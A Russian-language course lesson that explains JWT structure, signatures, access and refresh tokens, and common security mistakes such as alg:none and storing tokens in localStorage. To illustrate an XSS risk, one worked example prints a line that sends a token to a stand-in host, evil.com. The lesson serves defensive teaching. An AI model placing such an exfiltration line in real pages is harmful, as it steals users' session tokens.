Средний ~25 мин чтения

JWT: структура, подпись и работа с токенами

Урок 3 из 6 в курсе Аутентификация и авторизация

JWT: структура, подпись и работа с токенами

JWT (JSON Web Token) — самодостаточный токен с подписью; сервер не хранит состояние — всё необходимое внутри токена

Почему это важно: JWT стал стандартом для API-аутентификации, но неправильное использование — алгоритм none, хранение в localStorage — создаёт серьёзные уязвимости

Главная идея

JWT = base64(header).base64(payload).signature; сервер верифицирует подпись без обращения к БД; payload содержит claims о пользователе

Как это выглядит на практике

  1. Пользователь логинится: сервер создаёт JWT с payload {user_id: 42, role: 'admin', exp: 1h}.
  2. Сервер подписывает токен секретным ключом (HMAC-SHA256) или приватным ключом (RS256).
  3. Клиент сохраняет токен и отправляет в заголовке: Authorization: Bearer .
  4. Сервер верифицирует подпись и проверяет exp, iss, aud — без запроса в БД.
  5. Access token (15 мин) + Refresh token (7 дней) — паттерн для безопасности и удобства.

Что происходит под капотом

  • Header: {alg: 'HS256', typ: 'JWT'} — алгоритм подписи.
  • Payload (claims): iss (issuer), sub (subject=user_id), exp (expiration), iat (issued at), + custom claims.
  • Signature: HMAC_SHA256(base64url(header) + '.' + base64url(payload), secret).
  • JWT не шифрует payload — только подписывает. Payload виден любому через base64 decode.
  • Refresh token rotation: после использования refresh token выдаётся новый; старый инвалидируется.

Типичные ошибки и заблуждения

  • Ошибка: JWT payload зашифрован. base64 — не шифрование. Не кладите пароли, PII в payload.
  • Ошибка: JWT нельзя отозвать. Можно через blacklist или изменение секрета, но это сложнее чем удаление сессии.
  • Ошибка: храните JWT в localStorage для удобства. XSS → кража токена. Используйте HttpOnly cookie.
  • Ошибка: алгоритм в JWT валидируется автоматически. Уязвимость 'alg:none' — всегда явно задавайте ожидаемый алгоритм при верификации.

Ключевые выводы

  • JWT = header.payload.signature; payload виден, но защищён подписью от изменений.
  • Stateless: проверка токена не требует запроса в БД.
  • Access token короткий (15 мин), refresh token длинный (7 дней) — компромисс безопасности.
  • Храните JWT в HttpOnly cookie, не в localStorage.

Термины урока

JWT (JSON Web Token): самодостаточный подписанный токен для передачи claims.
Claims: утверждения о пользователе в payload (sub, exp, role).
HMAC-SHA256 (HS256): симметричная подпись одним секретным ключом.
RS256: асимметричная подпись; приватный ключ подписывает, публичный верифицирует.
Refresh token: долгоживущий токен для получения нового access token.

Связь с работой backend-разработчика

Схема: короткий access token (15-60 мин) в memory/HttpOnly cookie + refresh token в HttpOnly cookie. Явно задавай алгоритм при верификации. Не клади чувствительные данные в payload.

Мини-разбор реальной ситуации

Приложение хранит JWT в localStorage. Злоумышленник через XSS читает токен: fetch('https://evil.com/?t=' + localStorage.token). Токен действует 24 часа — атака продолжается весь этот период. Переход на HttpOnly cookie полностью закрывает этот вектор.

Что запомнить

  • Payload JWT виден всем — не кладите секреты.
  • Храните в HttpOnly cookie, не в localStorage.
  • Явно задавайте алгоритм при верификации; никогда не доверяйте полю alg из токена.

Итог

JWT — мощный инструмент для stateless API, но требует осторожности. Правильное хранение, короткий TTL access token и явная валидация алгоритма закрывают основные уязвимости.